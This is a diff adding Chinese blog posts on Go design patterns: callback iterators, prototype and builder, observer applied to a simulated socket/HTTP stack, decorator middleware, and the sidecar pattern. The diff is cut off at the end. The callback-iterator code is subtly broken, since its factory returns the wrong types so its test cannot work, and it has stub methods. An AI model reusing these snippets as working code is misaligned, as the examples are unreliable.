+++ b/_posts/2022-10-02-test-markdown.md @@ -0,0 +1,138 @@ +--- +layout: post +title: 总结实现带有 callback 的迭代器模式的几个关键点: +subtitle: 声明 callback 函数类型,以 Record 作为入参。 +tags: [设计模式] +--- + +## 总结实现带有 callback 的迭代器模式的几个关键点: + +1. 声明 callback 函数类型,以 Record 作为入参。 +2. 定义具体的 callback 函数,比如上述例子中打印记录的 `PrintRecord` 函数。 +3. 定义迭代器创建方法,以 callback 函数作为入参。 +4. 迭代器内,遍历记录时,调用 callback 函数作用在每条记录上。 +5. 客户端创建迭代器时,传入具体的 callback 函数。 + +``` +package db + +import ( + "fmt" +) + +type callbacktableIteratorImpl struct { + rs []record +} + +type Callback func(*record) + +func PrintRecord(record *record) { + fmt.Printf("%+v\n", record) +} + +func (c *callbacktableIteratorImpl) Iterator(callback Callback) { + go func() { + for _, re := range c.rs { + callback(&re) + } + }() + +} + +func (r *callbacktableIteratorImpl) HasNext() bool { + return true +} + +// 关键点: 在Next函数中取出下一个记录,并转换成客户端期望的对象类型,记得增加cursor +func (r *callbacktableIteratorImpl) Next(next interface{}) error { + + return nil +} + +//用工厂模式来创建我们这个复杂的迭代器 +type callbackTableIteratorFactory struct { +} + +func NewcallbackTableIteratorFactory() *complexTableIteratorFactory { + return &complexTableIteratorFactory{} + +} + +func (c *callbackTableIteratorFactory) Create(table *Table) TableIterator { + var res []record + for _, r := range table.records { + res = append(res, r) + } + return &complextableIteratorImpl{ + rs: res, + } +} + +``` + +``` +package db + +import ( + "reflect" + "testing" +) + +func TestTableCallbackterator(t *testing.T) { + iteratorFactory := NewcallbackTableIteratorFactory() + // 关键点5: 使用时,直接通过for-range来遍历channel读取记录 + table := NewTable("testRegion").WithType(reflect.TypeOf(new(testRegion))). + WithTableIteratorFactory(NewSortedTableIteratorFactory(regionIdLess)) + table.Insert(3, &testRegion{Id: 3, Name: "beijing"}) + table.Insert(1, &testRegion{Id: 1, Name: "shanghai"}) + table.Insert(2, &testRegion{Id: 2, Name: "guangdong"}) + + iterator := iteratorFactory.Create(table) + if v, ok := iterator.(*callbacktableIteratorImpl); ok { + v.Iterator(PrintRecord) + + } +} + +``` + +``` +type TableIterator interface { + HasNext() bool + Next(next interface{}) error +} +``` + +## 迭代器的典型的应用场景 + +- **对象集合/存储类模块**,并希望向客户端隐藏模块背后的复杂数据结构 + + 简单的来说就是,对于复杂的数据集合,一般通过一个`iterator`结构体 来存储复杂的数据集合,并且通过这个`iterator` 提供简单处理数据集合的函数,方法,这样就简化了对复杂数据集合操作,并且,当这个结构体再次作为更复杂的结构体的对象时,更复杂的结构体调用迭代器接口,或者直接调用迭代器的结构体的字段,就可以实现简单的操作复杂数据的集合了。 + +- ``` + //简单的来说,应该是这个样子 + type Table struct{ + iterator Iterator + } + + type Iterator interface { + Next()record + } + + //commonIterator是具体的迭代器,一般迭代器不会单独的只有一个,所以所有的迭代器构成一个迭代器接口 + type commonIterator struct{ + records []record + //这里的record是复杂的和数据 + } + func (c *commonIterator) Next()record{ + //do some thing + } + + ``` + + + +- 隐藏模块背后复杂的实现机制,**为客户端提供一个简单易用的接口**。 +- 支持扩展多种遍历方式,具备较强的可扩展性,符合 [开闭原则](https://mp.weixin.qq.com/s/s3aD4mK2Aw4v99tbCIe9HA)。 +- 遍历算法和数据存储分离,符合 [单一职责原则](https://mp.weixin.qq.com/s/s3aD4mK2Aw4v99tbCIe9HA)。 +- 迭代器模式通常会与 [工厂方法模式](https://mp.weixin.qq.com/s/PwHc31ANLDVMNiagtqucZQ) 一起使用,如前文实现。 diff --git a/_posts/2022-10-03-test-markdown.md b/_posts/2022-10-03-test-markdown.md new file mode 100644 index 000000000000..ed1275eaf8f7 --- /dev/null +++ b/_posts/2022-10-03-test-markdown.md @@ -0,0 +1,127 @@ +--- +layout: post +title: 原型模式(Prototype Pattern)与对象成员变量复制的问题 +subtitle: 核心就是`clone()`方法,返回`Prototype`对象的复制品。 +tags: [设计模式] +--- + +## 原型模式(Prototype Pattern)与对象成员变量复制的问题 + +> 核心就是`clone()`方法,返回`Prototype`对象的复制品。 +> +> 那么我们可能会这样进行对象的创建:*新创建一个相同对象的实例,然后遍历原始对象的所有成员变量, 并将成员变量值复制到新对象中*。这种方法的缺点很明显,那就是使用者必须知道对象的实现细节,导致代码之间的耦合。另外,对象很有可能存在除了对象本身以外不可见的变量,这种情况下该方法就行不通了。 + +``` +package main + +import ( + "fmt" + "sync" +) + +type clone interface { + clone() clone +} +type Message struct { + Header *Header + Body *Body +} + +func (m *Message) clone() clone { + msg := *m + return &msg + +} + +type Header struct { + SrcAddr string + SrcPort uint64 + DestAddr string + DestPort uint64 + Items map[string]string +} + +type Body struct { + Items []string +} + +func GetMessuage() *Message { + return GetBuilder(). + WithSrcAddr("192.168.0.1"). + WithSrcPort(1234). + WithDestAddr("192.168.0.2"). + WithDestPort(8080). + WithHeaderItem("contents", "application/json"). + WithBodyItem("record1"). + WithBodyItem("record2").Build() + +} + +type builder struct { + once *sync.Once + msg *Message +} + +func GetBuilder() *builder { + return &builder{ + once: &sync.Once{}, + msg: &Message{ + Header: &Header{}, + Body: &Body{}, + }, + } +} + +func (b *builder) WithSrcAddr(addr string) *builder { + b.msg.Header.SrcAddr = addr + return b +} + +func (b *builder) WithSrcPort(port uint64) *builder { + b.msg.Header.SrcPort = port + return b + +} + +func (b *builder) WithDestAddr(addr string) *builder { + b.msg.Header.DestAddr = addr + return b +} + +func (b *builder) WithDestPort(port uint64) *builder { + b.msg.Header.DestPort = port + return b +} + +func (b *builder) WithHeaderItem(key, value string) *builder { + // 保证map只初始化一次 + b.once.Do(func() { + b.msg.Header.Items = make(map[string]string) + }) + b.msg.Header.Items[key] = value + return b +} + +func (b *builder) WithBodyItem(record string) *builder { + // 保证map只初始化一次 + b.msg.Body.Items = append(b.msg.Body.Items, record) + return b +} + +func (b *builder) Build() *Message { + return b.msg +} + +func main() { + msg := GetMessuage() + copy := msg.clone() + if copy.(*Message).Header.SrcAddr != msg.Header.SrcAddr { + fmt.Println("err") + } else { + fmt.Println("equal") + } + +} + +``` + diff --git a/_posts/2022-10-04-test-markdown.md b/_posts/2022-10-04-test-markdown.md new file mode 100644 index 000000000000..44b0284f091f --- /dev/null +++ b/_posts/2022-10-04-test-markdown.md @@ -0,0 +1,898 @@ +--- +layout: post +title: 观察者模式在网络 Socket 、Http 的应用 +subtitle: 观察者模式 +tags: [设计模式] +--- +# 观察者模式在网络 Socket 、Http 的应用 + +![img](https://tva1.sinaimg.cn/large/e6c9d24egy1h4gqq5hw9tj21ea0p2grn.jpg) + +从上图可知,`App` 直接依赖 `http` 模块,而 `http` 模块底层则依赖 socket 模块: + +1. 在 `App2` 初始化时,先向 `http` 模块注册一个 `request handler`,处理 `App1` 发送的 `http` 请求。 +2. `http` 模块会将 `request handler` 转换为 `packet handler` 注册到 socket 模块上。 +3. `App 1` 发送 `http` 请求,`http` 模块将请求转换为 `socket packet` 发往 `App 2` 的 socket 模块。 +4. `App 2` 的 socket 模块收到 packet 后,调用 `packet handler` 处理该报文;`packet handler` 又会调用 `App 2` 注册的 `request handler` 处理该请求。 + +在上述 **`socket - http - app` 三层模型** 中,对 socket 和 `http`,socket 是 Subject,`http` 是 Observer;对 `http 和 app`,`http 是 Subject`,`app 是 Observe`r。 + +``` +// endpoint.go 代表这一个客户端 +package network + +import "strconv" + +// Endpoint 值对象,其中ip和port属性为不可变,如果需要变更,需要整对象替换 +type Endpoint struct { + ip string + port int +} + +// EndpointOf 静态工厂方法,用于实例化对象 +func EndpointOf(ip string, port int) Endpoint { + return Endpoint{ + ip: ip, + port: port, + } +} + +func EndpointDefaultof(ip string) Endpoint { + return Endpoint{ + ip: ip, + port: 80, + } +} + +func (e Endpoint) Ip() string { + return e.ip + +} + +func (e Endpoint) Port() int { + return e.port + +} + +func (e Endpoint) String() string { + return e.ip + ":" + strconv.Itoa(e.port) +} + +``` + +``` +// socket.go +// 从网络包中解析到 endpoint ,每个endpoint 代表一个独立的电脑 ,然后 network 根据network自己的map结构中解析到 这个endpoint对应的socketImpl ,真正的处理网络包裹其实是交给socketImpl 去处理,一旦socketImpl 接收到网络数据包,(也就是我们说的:被观察者的状态发生了变化 )此时socketImpl 去通知自己下面的 listeners 去处理,每一个listener代表一个处理网络数据包的函数 +package network + +/* +观察者模式 +*/ +// socketListener 需要作出反应,就是向上获取数据package network +// SocketListener Socket报文监听者 +type SocketListener interface { + Handle(packet *Packet) error +} + +type Socket interface { + Listen(endpoint Endpoint) error + Close(endpoint Endpoint) + Send(packet *Packet) error + Receive(packet *Packet) +} + +// 被观察者在未知的情况下应该先定义一个接口来代表观察者们 +// 被观察者往往应该持有观察者列表 +// socketImpl Socket的默认实现 +type socketImpl struct { + // 关键点4: 在Subject中持有Observer的集合 + listeners []SocketListener +} + +// Listen 在endpoint指向地址上起监听 endpoint资源是暴露一个服务的ip地址和port的列表。(endpoint来自与包裹里面的目的地址) +func (s *socketImpl) Listen(endpoint Endpoint) error { + return GetnetworkInstance().Listen(endpoint, s) +} + +func (s *socketImpl) Close(endpoint Endpoint) { + GetnetworkInstance().Disconnect(endpoint) + +} + +func (s *socketImpl) Send(packet *Packet) error { + return GetnetworkInstance().Send(packet) +} + +// 关键点: 为Subject定义注册Observer的方法(为被观察者提供添加观察者的方法) +func (s *socketImpl) AddListener(listener SocketListener) { + s.listeners = append(s.listeners, listener) + +} + +// 关键点: 当Subject状态变更时,遍历Observers集合,调用它们的更新处理方法 +// 当被观察者的状态发生变化的时候,需要遍历观察者的列表来调用观察者的行为 +// 被观察者一定有一个函数,用来在自己的状态改变时通知观察者们进行一系列的行为 +// 这里的状态改变(就是被观察者收到外界来的实参) +func (s *socketImpl) Receive(packet *Packet) { + for _, listener := range s.listeners { + listener.Handle(packet) + } + +} + +``` + +``` +// network.go +package network + +import ( + "errors" + "sync" +) + +/* +单例模式 +*/ +// 往网络的作用就是在多个地址上发起多个socket监听 +// 所以我们需要一个map结构来存储这种状态 +type network struct { + sockets sync.Map +} + +// 懒汉版单例模式 +var networkInstance = &network{ + sockets: sync.Map{}, +} + +func GetnetworkInstance() *network { + return networkInstance +} + +// Listen 在endpoint指向地址上起监听 endpoint资源是暴露一个服务的ip地址和port的列表。 +// 监听的本质就是把目的地址和对目的地址的连接添加到网络的map存储结构当中 +// 用于socktImpl来调用 +// 这里的endpoint 是网络包里的目的地址,而socket里面存储的是目的地址对应的socket +func (n *network) Listen(endpoint Endpoint, socket Socket) error { + if _, ok := n.sockets.Load(endpoint); ok { + return errors.New("ErrEndpointAlreadyListened") + } + n.sockets.Store(endpoint, socket) + return nil +} + +// 用于socktImpl来调用 +func (n *network) Disconnect(endpoint Endpoint) { + n.sockets.Delete(endpoint) + +} + +// 用于socktImpl来调用 +func (n *network) DisconnectAll() { + n.sockets = sync.Map{} + +} + +// 网络的发送作用就是 向目的地址发送包裹 +// 包裹中含有目的地址和数据 +// 应该先在map中根据目的地址获取到连接,然后才能向连接发送数据 +// 向连接发送数据的本质就是 这个连接去接收到数据 +func (n *network) Send(packet *Packet) error { + con, okc := n.sockets.Load(packet.Dest()) + socket, oks := con.(Socket) + if !okc || !oks { + return errors.New("ErrConnectionRefuse") + } + go socket.Receive(packet) + return nil +} + +/* +// 其余单例模式实现 + +type network struct {} +var once sync.Once +var netnetworkInstance *network +func GetnetworkInstance() *network { + once.Do(func (){ + netnetworkInstance=&network { + + } + + }) + return netnetworkInstance + +} + +*/ + +``` + +``` +// packet.go +// 网络数据包的存储结构 +package network + +//一个网络包裹包括一个源ip地址和端口 和目的地址ip和端口 +type Packet struct { + src Endpoint + dest Endpoint + payload interface{} +} + +func NewPacket(src, dest Endpoint, payload interface{}) *Packet { + return &Packet{ + src: src, + dest: dest, + payload: payload, + } +} + +//返回源地址 +func (p Packet) Src() Endpoint { + return p.src +} + +//返回目的地址 +func (p Packet) Dest() Endpoint { + return p.dest +} + +func (p Packet) Payload() interface{} { + return p.payload +} + +``` + +``` +http/http_client.go +package http + +import ( + "errors" + "github.com/Design-Pattern-Go-Implementation/network" + "math/rand" + "time" +) + +// 观察者包含被观察者就可以封装被观察者,调用被观察者 +// 一般来说,观察者往往是用户,所以如果观察者存储有被观察者,那么就可以调用被观察者的接口实现一系列操作, +// 而对对于网络来说,更像是两个被观察者在面对面交谈,而实际用户(观察者)因为保存有被观察者因而看起来像很多观察者面对面交流 +type Client struct { + // 接收网络数据包并且 + socket network.Socket + // 把处理的结果写入到一个channel中,因为处理结果是有数据的 + respChan chan *Response + // 代表者自己的的ip地址和端口 + localEndpoint network.Endpoint +} + +// 通过本机的ip 以及随即生成一个端口,代表本机的这个端口下的程序 +func NewClient(socket network.Socket, ip string) (*Client, error) { + // 一个观察者肯定有一个被观察者需要他去观察 + // 一个client 肯定有一个 ip 代表自己要访问的 + // 随机端口,从10000 ~ 19999 + endpoint := network.EndpointOf(ip, int(rand.Uint32()%10000+10000)) + client := &Client{ + socket: socket, + localEndpoint: endpoint, + respChan: make(chan *Response), + } + // 一个观察者开始观察一个(被观察者)的时候, + // 也就意味着被观察者的监听列表肯定要把这个观察者加入它的列表 + // 二者是同步的 + client.socket.AddListener(client) + // 把本机器的socketImpl 添加到全局唯一一个的且被共享的网络实例 + if err := client.socket.Listen(endpoint); err != nil { + return nil, err + } + return client, nil +} + +func (c *Client) Close() { + //从全局的网络中删除 + c.socket.Close(c.localEndpoint) + close(c.respChan) +} + +// 底层调用network的Send 然后网络是根据网络包中目的地址 一下子得到目的地址对应的 +func (c *Client) Send(dest network.Endpoint, req *Request) (*Response, error) { + // 制作网络包 网络包包含着目的endpoint 通过目的endpoint可以在网络中查到对应的socketImpl(被观察者) + // req是携带的数据 + packet := network.NewPacket(c.localEndpoint, dest, req) + // 通过底层调用network.Send() + // network.Send()就是根据网络数据包的目的地址得到对应的socketImpl + // 然后把数据发给socketImpl ,socketImpl 一旦接收到数据,就是调用自己listeners的也就是client去处理 + err := c.socket.Send(packet) + if err != nil { + return nil, err + } + // 发送请求后同步阻塞等待响应 + select { + case resp, ok := <-c.respChan: + if ok { + return resp, nil + } + errResp := ResponseOfId(req.ReqId()).AddStatusCode(StatusInternalServerError). + AddProblemDetails("connection is break") + return errResp, nil + case <-time.After(time.Second * time.Duration(3)): + // 超时时间为3s + resp := ResponseOfId(req.ReqId()).AddStatusCode(StatusGatewayTimeout). + AddProblemDetails("http server response timeout") + return resp, nil + } +} + +// +func (c *Client) Handle(packet *network.Packet) error { + resp, ok := packet.Payload().(*Response) + if !ok { + return errors.New("invalid packet, not http response") + } + c.respChan <- resp + return nil +} + +``` + +``` +http/server.go + +package http + +import ( + "errors" + "github.com/Design-Pattern-Go-Implementation/network" +) + +// Handler HTTP请求处理接口 +type Handler func(req *Request) *Response + +// Server Http服务器 +type Server struct { + socket network.Socket + localEndpoint network.Endpoint + routers map[Method]map[Uri]Handler +} + +func NewServer(socket network.Socket) *Server { + server := &Server{ + socket: socket, + routers: make(map[Method]map[Uri]Handler), + } + server.socket.AddListener(server) + return server +} + +// 实现 Handle 方法才能被添加到listeners中 +// Server处理的是请求数据包 +// Client处理的是响应数据包 +// 请求数据包的路径 Client 发出请求数据包 ——> Network拿到请求数据包 ———> Network把请求数据包给到 Server (Server拿到请求数据包) +// 响应数据包的处理 Sever拿到请求处理包处理得到响应数据包 ————> Server 把响应数据包给到Network ————> network 拿到响应数据包 然后把响应数据包给Client ————> client拿到响应数据包 +func (s *Server) Handle(packet *network.Packet) error { + req, ok := packet.Payload().(*Request) + if !ok { + return errors.New("invalid packet, not http request") + } + if req.IsInValid() { + resp := ResponseOfId(req.ReqId()). + AddStatusCode(StatusBadRequest). + AddProblemDetails("uri or method is invalid") + return s.socket.Send(network.NewPacket(packet.Dest(), packet.Src(), resp)) + } + + router, ok := s.routers[req.Method()] + if !ok { + resp := ResponseOfId(req.ReqId()). + AddStatusCode(StatusMethodNotAllow). + AddProblemDetails(StatusMethodNotAllow.Details) + return s.socket.Send(network.NewPacket(packet.Dest(), packet.Src(), resp)) + } + + var handler Handler + //得到所有的路由,然后把所有的路由和请求网络包中的携带的要请求的路由进行匹配 + for u, h := range router { + if req.Uri().Contains(u) { + handler = h + break + } + } + + if handler == nil { + resp := ResponseOfId(req.ReqId()). + AddStatusCode(StatusNotFound). + AddProblemDetails("can not find handler of uri") + return s.socket.Send(network.NewPacket(packet.Dest(), packet.Src(), resp)) + } + + resp := handler(req) + return s.socket.Send(network.NewPacket(packet.Dest(), packet.Src(), resp)) +} + +func (s *Server) Listen(ip string, port int) *Server { + s.localEndpoint = network.EndpointOf(ip, port) + return s +} + +func (s *Server) Start() error { + return s.socket.Listen(s.localEndpoint) +} + +func (s *Server) Shutdown() { + s.socket.Close(s.localEndpoint) +} + +func (s *Server) Get(uri Uri, handler Handler) *Server { + if _, ok := s.routers[GET]; !ok { + s.routers[GET] = make(map[Uri]Handler) + } + s.routers[GET][uri] = handler + return s +} + +func (s *Server) Post(uri Uri, handler Handler) *Server { + if _, ok := s.routers[POST]; !ok { + s.routers[POST] = make(map[Uri]Handler) + } + s.routers[POST][uri] = handler + return s +} + +func (s *Server) Put(uri Uri, handler Handler) *Server { + if _, ok := s.routers[PUT]; !ok { + s.routers[PUT] = make(map[Uri]Handler) + } + s.routers[PUT][uri] = handler + return s +} + +func (s *Server) Delete(uri Uri, handler Handler) *Server { + if _, ok := s.routers[DELETE]; !ok { + s.routers[DELETE] = make(map[Uri]Handler) + } + s.routers[DELETE][uri] = handler + return s +} + +``` + +``` +//request.go +package http + +import ( + "math/rand" + "strings" +) + +type Method uint8 + +const ( + GET Method = iota + 1 + POST + PUT + DELETE +) + +type Uri string + +func (u Uri) Contains(other Uri) bool { + return strings.Contains(string(u), string(other)) +} + +type ReqId uint32 + +type Request struct { + reqId ReqId + method Method + uri Uri + queryParams map[string]string + headers map[string]string + body interface{} +} + +func EmptyRequest() *Request { + reqId := rand.Uint32() % 10000 + return &Request{ + reqId: ReqId(reqId), + uri: "", + queryParams: make(map[string]string), + headers: make(map[string]string), + } +} + +// Clone 原型模式,其中reqId重新生成,其他都拷贝原来的值 +func (r *Request) Clone() *Request { + reqId := rand.Uint32() % 10000 + return &Request{ + reqId: ReqId(reqId), + method: r.method, + uri: r.uri, + queryParams: r.queryParams, + headers: r.headers, + body: r.body, + } +} + +func (r *Request) IsInValid() bool { + return r.method < 1 || r.method > 4 || r.uri == "" +} + +func (r *Request) AddMethod(method Method) *Request { + r.method = method + return r +} + +func (r *Request) AddUri(uri Uri) *Request { + r.uri = uri + return r +} + +func (r *Request) AddQueryParam(key, value string) *Request { + r.queryParams[key] = value + return r +} + +func (r *Request) AddQueryParams(params map[string]string) *Request { + for k, v := range params { + r.queryParams[k] = v + } + return r +} + +func (r *Request) AddHeader(key, value string) *Request { + r.headers[key] = value + return r +} + +func (r *Request) AddHeaders(headers map[string]string) *Request { + for k, v := range headers { + r.headers[k] = v + } + return r +} + +func (r *Request) AddBody(body interface{}) *Request { + r.body = body + return r +} + +func (r *Request) ReqId() ReqId { + return r.reqId +} + +func (r *Request) Method() Method { + return r.method +} + +func (r *Request) Uri() Uri { + return r.uri +} + +func (r *Request) QueryParams() map[string]string { + return r.queryParams +} + +func (r *Request) QueryParam(key string) (string, bool) { + value, ok := r.queryParams[key] + return value, ok +} + +func (r *Request) Headers() map[string]string { + return r.headers +} + +func (r *Request) Header(key string) (string, bool) { + value, ok := r.headers[key] + return value, ok +} + +func (r *Request) Body() interface{} { + return r.body +} + +``` + +``` +// response.go +package http + +type StatusCode struct { + Code uint32 + Details string +} + +var ( + StatusOk = StatusCode{Code: 200, Details: "OK"} + StatusCreate = StatusCode{Code: 201, Details: "Create"} + StatusNoContent = StatusCode{Code: 204, Details: "No Content"} + StatusBadRequest = StatusCode{Code: 400, Details: "Bad Request"} + StatusNotFound = StatusCode{Code: 404, Details: "Not Found"} + StatusMethodNotAllow = StatusCode{Code: 405, Details: "Method Not Allow"} + StatusTooManyRequest = StatusCode{Code: 429, Details: "Too Many Request"} + StatusInternalServerError = StatusCode{Code: 500, Details: "Internal Server Error"} + StatusGatewayTimeout = StatusCode{Code: 504, Details: "Gateway Timeout"} +) + +type Response struct { + reqId ReqId + statusCode StatusCode + headers map[string]string + body interface{} + problemDetails string +} + +func ResponseOfId(reqId ReqId) *Response { + return &Response{ + reqId: reqId, + headers: make(map[string]string), + } +} + +func (r *Response) Clone() *Response { + return &Response{ + reqId: r.reqId, + statusCode: r.statusCode, + headers: r.headers, + body: r.body, + problemDetails: r.problemDetails, + } +} + +func (r *Response) AddReqId(reqId ReqId) *Response { + r.reqId = reqId + return r +} + +func (r *Response) AddStatusCode(statusCode StatusCode) *Response { + r.statusCode = statusCode + return r +} + +func (r *Response) AddHeader(key, value string) *Response { + r.headers[key] = value + return r +} + +func (r *Response) AddHeaders(headers map[string]string) *Response { + for k, v := range headers { + r.headers[k] = v + } + return r +} + +func (r *Response) AddBody(body interface{}) *Response { + r.body = body + return r +} + +func (r *Response) AddProblemDetails(details string) *Response { + r.problemDetails = details + return r +} + +func (r *Response) ReqId() ReqId { + return r.reqId +} + +func (r *Response) StatusCode() StatusCode { + return r.statusCode +} + +func (r *Response) Headers() map[string]string { + return r.headers +} + +func (r *Response) Header(key string) (string, bool) { + value, ok := r.headers[key] + return value, ok +} + +func (r *Response) Body() interface{} { + return r.body +} + +func (r *Response) ProblemDetails() string { + return r.problemDetails +} + +// IsSuccess 如果status code为2xx,返回true,否则,返回false +func (r *Response) IsSuccess() bool { + return r.StatusCode().Code/100 == 2 +} + +``` + +# 装饰者模式与middleware 功能的实现 + +> 装饰者模式通过**组合**的方式,提供了**能够动态地给对象/模块扩展新功能** + +> 如果写过 Java,那么一定对 I/O Stream 体系不陌生,它是装饰者模式的经典用法,客户端程序可以动态地为原始的输入输出流添加功能,比如按字符串输入输出,加入缓冲等,使得整个 I/O Stream 体系具有很高的可扩展性和灵活性 + +设计了 Sidecar 边车模块,它的用处主要是为了 1)方便扩展 `network.Socket` 的功能,如增加日志、流控等非业务功能;2)让这些附加功能对业务程序隐藏起来,也即业务程序只须关心看到 `network.Socket` 接口即可。 + +![img](https://tva1.sinaimg.cn/large/e6c9d24egy1h3m37f6im9j21ge0qi0yd.jpg) + + + +``` +package http + +import ( + "context" + "log" + "net/http" + "time" +) + +// 关键点1: 确定被装饰者接口,这里为原生的http.HandlerFunc +// type HandlerFunc func(ResponseWriter, *Request) + +// HttpHandlerFuncDecorator +// 关键点2: 定义装饰器类型,是一个函数类型,入参和返回值都是 http.HandlerFunc 函数 +type HttpHandlerFuncDecorator func(http.HandlerFunc) http.HandlerFunc + +// Decorate +// 关键点3: 定义装饰方法,入参为被装饰的接口和装饰器可变列表 +func Decorate(h http.HandlerFunc, decorators ...HttpHandlerFuncDecorator) http.HandlerFunc { + // 关键点4: 通过for循环遍历装饰器,完成对被装饰接口的装饰 + for _, decorator := range decorators { + h = decorator(h) + } + + ctx := context.Background() + ctx, _ = context.WithCancel(ctx) + ctx, _ = context.WithTimeout(ctx, time.Duration(1)) + ctx = context.WithValue(ctx, "key", "value") + return h +} + +// WithBasicAuth +// 关键点5: 实现具体的装饰器 +func WithBasicAuth(h http.HandlerFunc) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + cookie, err := r.Cookie("Auth") + if err != nil || cookie.Value != "Pass" { + w.WriteHeader(http.StatusForbidden) + return + } + // 关键点6: 完成功能扩展之后,调用被装饰的方法,才能将所有装饰器和被装饰者串起来 + h(w, r) + } +} + +func WithLogger(h http.HandlerFunc) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + log.Println(r.Form) + log.Printf("path %s", r.URL.Path) + h(w, r) + } +} + +func hello(w http.ResponseWriter, r *http.Request) { + w.Write([]byte("hello, world")) +} + +``` + +``` +func main() { + // 关键点7: 通过Decorate方法完成对hello对装饰 + http.HandleFunc("/hello", Decorate(hello, WithLogger, WithBasicAuth)) + // 启动http服务器 + http.ListenAndServe("localhost:8080", nil) +} +``` + +# (补充)边车模式 + +> 所谓的边车模式,对应于我们生活中熟知的边三轮摩托车。也就是说,我们可以通过给一个摩托车加上一个边车的方式来扩展现有的服务和功能。这样可以很容易地做到 " 控制 " 和 " 逻辑 " 的分离。 +> +> 也就是说,我们不需要在服务中实现控制面上的东西,如监视、日志记录、限流、熔断、服务注册、协议适配转换等这些属于控制面上的东西,而只需要专注地做好和业务逻辑相关的代码,然后,由 " 边车 " 来实现这些与业务逻辑没有关系的控制功能。 + +边车模式设计 + +具体来说,可以理解为,边车就有点像一个服务的 Agent,这个服务所有对外的进出通讯都通过这个 Agent 来完成。这样,我们就可以在这个 Agent 上做很多文章了。但是,我们需要保证的是,这个 Agent 要和应用程序一起创建,一起停用。 + +边车模式有时候也叫搭档模式,或是伴侣模式,或是跟班模式。就像我们在《编程范式游记》中看到的那样,编程的本质就是将控制和逻辑分离和解耦,而边车模式也是异曲同工,同样是让我们在分布式架构中做到逻辑和控制分离。 + + + +对于像 " 监视、日志、限流、熔断、服务注册、协议转换……" 这些功能,其实都是大同小异,甚至是完全可以做成标准化的组件和模块的。一般来说,我们有两种方式。 + +- 一种是通过 SDK、Lib 或 Framework 软件包方式,在开发时与真实的应用服务集成起来。 +- 另一种是通过像 Sidecar 这样的方式,在运维时与真实的应用服务集成起来。 + +这两种方式各有优缺点。 + +- 以软件包的方式可以和应用密切集成,有利于资源的利用和应用的性能,但是对应用有侵入,而且受应用的编程语言和技术限制。同时,当软件包升级的时候,需要重新编译并重新发布应用。 +- 以 Sidecar 的方式,对应用服务没有侵入性,并且不用受到应用服务的语言和技术的限制,而且可以做到控制和逻辑的分开升级和部署。但是,这样一来,增加了每个应用服务的依赖性,也增加了应用的延迟,并且也会大大增加管理、托管、部署的复杂度。 + +注意,对于一些 " 老的系统 ",因为代码太老,改造不过来,我们又没有能力重写。比如一些银行里的很老的用 C 语言或是 COBAL 语言写的子系统,我们想把它们变成分布式系统,需要对其进行协议的改造以及进行相应的监控和管理。这个时候,Sidecar 的方式就很有价值了。因为没有侵入性,所以可以很快地低风险地改造. + +Sidecar 服务在逻辑上和应用服务部署在一个结点中,其和应用服务有相同的生命周期。对比于应用程序的每个实例,都会有一个 Sidecar 的实例。Sidecar 可以很快也很方便地为应用服务进行扩展,而不需要应用服务的改造。比如: + +- Sidecar 可以帮助服务注册到相应的服务发现系统,并对服务做相关的健康检查。如果服务不健康,我们可以从服务发现系统中把服务实例移除掉。 + +- 当应用服务要调用外部服务时, Sidecar 可以帮助从服务发现中找到相应外部服务的地址,然后做服务路由。 + +- Sidecar 接管了进出的流量,我们就可以做相应的日志监视、调用链跟踪、流控熔断……这些都可以放在 Sidecar 里实现。 + +- 然后,服务控制系统可以通过控制 Sidecar 来控制应用服务,如流控、下线等。![img](https://learn.lianglianglee.com/%E4%B8%93%E6%A0%8F/%E5%B7%A6%E8%80%B3%E5%90%AC%E9%A3%8E/assets/e30300b16a8fe0870ebfbec5a093b4f7.png) + + + +如果把 Sidecar 这个实例和应用服务部署在同一台机器中,那么,其实 Sidecar 的进程在理论上来说是可以访问应用服务的进程能访问的资源的。比如,Sidecar 是可以监控到应用服务的进程信息的。另外,因为两个进程部署在同一台机器上,所以两者之间的通信不存在明显的延迟。也就是说,服务的响应延迟虽然会因为跨进程调用而增加,但这个增加完全是可以接受的。 + +另外,我们可以看到这样的部署方式,最好是与 Docker 容器的方式一起使用的。为什么 Docker 一定会是分布式系统或是云计算的关键技术,相信从我的这一系列文章中已经看到其简化架构的部署和管理的重要作用。否则,这么多的分布式架构模式实施起来会有很多麻烦。 + +### 边车设计的重点 + +首先,我们要知道边车模式重点解决什么样的问题。 + +1. 控制和逻辑的分离。 +2. 服务调用中上下文的问题。 + +我们知道,熔断、路由、服务发现、计量、流控、监视、重试、幂等、鉴权等控制面上的功能,以及其相关的配置更新,本质来上来说,和服务的关系并不大。但是传统的工程做法是在开发层面完成这些功能,这就会导致各种维护上的问题,而且还会受到特定语言和编程框架的约束和限制。 + +而随着系统架构的复杂化和扩张,我们需要更统一地管理和控制这些控制面上的功能,所以传统的在开发层面上完成控制面的管理会变得非常难以管理和维护。这使得我们需要通过 Sidecar 模式来架构我们的系统 + +###### 边车模式从概念上理解起来比较简单,但是在工程实现上来说,需要注意以下几点。 + +- 进程间通讯机制是这个设计模式的重点,千万不要使用任何对应用服务有侵入的方式,比如,通过信号的方式,或是通过共享内存的方式。最好的方式就是网络远程调用的方式(因为都在 127.0.0.1 上通讯,所以开销并不明显)。 +- 服务协议方面,也请使用标准统一的方式。这里有两层协议,一个是 Sidecar 到 service 的内部协议,另一个是 Sidecar 到远端 Sidecar 或 service 的外部协议。对于内部协议,需要尽量靠近和兼容本地 service 的协议;对于外部协议,需要尽量使用更为开放更为标准的协议。但无论是哪种,都不应该使用与语言相关的协议。 +- 使用这样的模式,需要在服务的整体打包、构建、部署、管控、运维上设计好。使用 Docker 容器方面的技术可以帮助全面降低复杂度 +- Sidecar 中所实现的功能应该是控制面上的东西,而不是业务逻辑上的东西,所以请尽量不要把业务逻辑设计到 Sidecar 中。 +- 小心在 Sidecar 中包含通用功能可能带来的影响。例如,重试操作,这可能不安全,除非所有操作都是幂等的。 +- 另外,我们还要考虑允许应用服务和 Sidecar 的上下文传递的机制。 例如,包含 HTTP 请求标头以选择退出重试,或指定最大重试次数等等这样的信息交互。或是 Sidecar 告诉应用服务限流发生,或是远程服务不可用等信息,这样可以让应用服务和 Sidecar 配合得更好。 +- 我们要清楚 Sidecar 适用于什么样的场景,下面罗列几个。 +- 一个比较明显的场景是对老应用系统的改造和扩展。 +- 另一个是对由多种语言混合出来的分布式服务系统进行管理和扩展。 +- 